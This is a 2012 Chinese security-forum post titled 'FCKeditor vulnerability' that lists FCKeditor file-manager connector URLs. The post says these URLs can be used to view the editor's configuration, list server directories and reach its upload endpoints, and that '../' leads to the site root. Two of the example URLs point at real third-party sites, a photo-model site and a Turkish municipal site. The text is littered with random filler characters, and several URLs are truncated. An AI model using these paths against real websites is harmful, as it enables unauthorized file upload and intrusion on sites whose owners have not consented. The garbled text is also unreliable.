找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2051|回复: 0
打印 上一主题 下一主题

fckeditor漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:02:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
% {6 J7 C1 P  Y. U
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp0 I; G& {7 z4 I: B3 U) f) y
http://www.china-photo-model.com ... aspx/connector.aspx
+ H; |6 I4 ^6 q, y# f
, v6 t/ {* ?' r' W8 V9 G
8 n* \0 a3 C% z. u# H2 L: ahttp://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector% ^" b" a1 A8 D

! o* {7 I+ m. U# R  v9 k6 R
6 y3 N' V# @; F& b& A. f' b
. Y- m0 ^3 D, @1 ~6 l! c; `* n7 v9 J; [6 |2 T5 u
4 n3 X+ o" h: {$ n
查看配置和列出目录下的文件.+ v. X2 {9 U* F# u/ v

3 n/ H$ t% ~8 }' L9 |) W* K# }1 t8 q
* `1 ]8 x# u, ^( i! \3 D' xhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
8 V2 e* i! o' T7 j/ `) v1 Bhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F% M# e2 K: K3 z

. _& H7 U) @+ ~8 u! Q2 ?/ f6 J( a上传地址:
8 i2 K- u' _! Z3 h1 i. g7 {$ [+ O$ d' B/ {# {
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F& G+ m! _* e4 _& H! q4 N5 j
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表